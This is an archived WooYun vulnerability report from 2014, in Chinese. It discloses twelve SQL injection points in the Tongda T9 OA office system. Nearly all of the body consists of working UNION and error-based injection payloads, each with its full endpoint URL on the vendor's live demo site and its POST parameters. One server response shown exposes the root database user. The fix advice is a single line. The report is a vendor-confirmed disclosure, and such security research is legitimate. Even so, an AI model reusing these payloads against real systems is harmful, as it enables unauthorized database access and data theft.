当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082959

漏洞标题:通达T9 oa系统sql注射12处打包(demo站点root权限)

相关厂商:通达信科

漏洞作者: menmen519

提交时间:2014-11-14 18:04

修复时间:2015-02-12 18:06

公开时间:2015-02-12 18:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

简要描述:

T9智能管理平台是基于B/S架构,灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术,提供强大的工作流和公文流程管理功能,可完全根据客户需求定制办公门户平台。

详细说明:

测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
漏洞分析:
url:
http://t9.go2oa.com/t9/t9/core/funcs/message/weixun_share/act/T9WeiXunShareAct/getWeiXunById.act
postdata:
wxid=110' UNION ALL SELECT NULL,CONCAT(user(),':',version()),NULL,NULL,NULL,NULL,NULL#
注入2:
url:
http://t9.go2oa.com/t9/t9/core/funcs/diary/act/T9DiaryAct/deleteDia.act
postdata:
diaIds=2 AND (SELECT 4200 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4200=4200) THEN 1 ELSE 0 END)),0x716f697271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
注入3:
url:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3 AND (SELECT 6356 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6356=6356) THEN 1 ELSE 0 END)),0x71706d6d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&deType=4&deType=4

屏幕快照 2014-11-14 下午5.54.19.png


注入4:
url:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailNameAct/saveName.act
postdata:
name=xxxxxxxxxxx&IS_USE=1&IS_USE1=1&NAME_ID=4' AND (SELECT 5610 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (5610=5610) THEN 1 ELSE 0 END)),0x7166777071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'fKtu'='fKtu
注入5:
url:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/isBoxNameExist.act
postdata:
boxName=xxxxx' AND (SELECT 4999 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4999=4999) THEN 1 ELSE 0 END)),0x7161667671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VnVS'='VnVS&boxId=1
注入6:
url:
http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/selectId2.act?seqId=323' AND (SELECT 2538 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (2538=2538) THEN 1 ELSE 0 END)),0x716c756b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'GhCY'='GhCY
注入7:
url:
http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/deleteVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770
{"rtState":"1", "rtMsrg":"Duplicate entry 'root@127.0.0.11qzqeq1' for key 1", "rtData":""}
注入8:
url:
http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/clonVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770
注入:9
url:
http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/updateNoTopVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770
注入10:
url:
http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/getDeskNewsAllList.act?type=1323' AND (SELECT 7974 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7974=7974) THEN 1 ELSE 0 END)),0x716e707471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Awzk'='Awzk
post_data:
totalRecords=5
注入11:
url:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9MyWorkAct/hasWork.act?sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&flowId=562&flowId=562
注入12:
url:
http://t9.go2oa.com/t9/core/funcs/workflow/flowrun/list/index1.jsp?type=2&sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&skin=&flowId=562

屏幕快照 2014-11-14 下午6.03.58.png


漏洞证明:

修复方案:

对wxid参数加引号处理

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-17 09:40

厂商回复:

我们会尽快修复,感谢您的报告。

最新状态:

暂无